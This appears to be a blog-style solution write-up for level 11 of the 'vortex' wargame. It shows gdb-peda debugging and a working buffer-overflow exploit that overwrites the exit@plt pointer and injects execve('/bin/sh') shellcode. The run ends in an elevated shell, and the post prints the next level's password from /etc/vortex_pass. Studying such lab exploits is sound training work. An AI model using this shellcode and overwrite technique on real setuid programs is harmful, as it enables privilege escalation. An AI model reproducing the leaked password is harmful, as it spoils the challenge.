gdb-peda$ disassemble 0x0804859b Dump of assembler code for function exit@plt: 0x08048590 <+0>: jmp DWORD PTR ds:0x804b5d4
this 0x0804b5d4-0x40 is the pointer we want to write. the +0x40 that comes into edi is from the malloc thingy so we have to subtract that value to get the exact address we want as you see from above edi points to the address we want plus 0x40.
gdb-peda$ r "$(python2 -c 'print "\x41"*2052+"\x94\xb5\x04\x08"')" "$(python2 -c 'print "\x11\x11\x11\x11"+"\x33"*12')" ..... <strncpy@plt> 0x8049da3 <main+150>: add esp,0x10 => 0x8049da6 <main+153>: sub esp,0xc 0x8049da9 <main+156>: push 0x0 0x8049dab <main+158>: call 0x8048590 <exit@plt> 0x8049db0 <__libc_csu_init>: push ebp 0x8049db1 <__libc_csu_init+1>: push edi [---------stack-------] 0000| 0xffffc260 --> 0x804b5d4 --> 0x11111111 0004| 0xffffc264 --> 0x804d800 ('A' <repeats 200 times>...) ..... [---------------------] Breakpoint 1, main (argc=0x3, argv=0xffffc324) at vortex11.c:20 20 exit(0); gdb-peda$ c Continuing. Stopped reason: SIGSEGV 0x11111111 in ?? ()
This all looks perfect let us exploit it in vortex machine now. I find that exit pointer at 0x0804c01c-0x40==0x0804bfdc.
vortex11@melinda:~$ /vortex/vortex11 "$(python2 -c 'sh="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(2052-len(sh))+sh+"\xdc\xbf\x04\x08"')" "$(python2 -c 'print "\x7c\xd1\xff\xff"+"\x33"*12')" $ id uid=5011(vortex11) gid=5011(vortex11) euid=5012(vortex12) groups=5012(vortex12),5011(vortex11) $ cat /etc/vortex_pass/vortex12 nKV95q]dx
I will just stop here and continue the solutions to the next levels sometime soon in another post.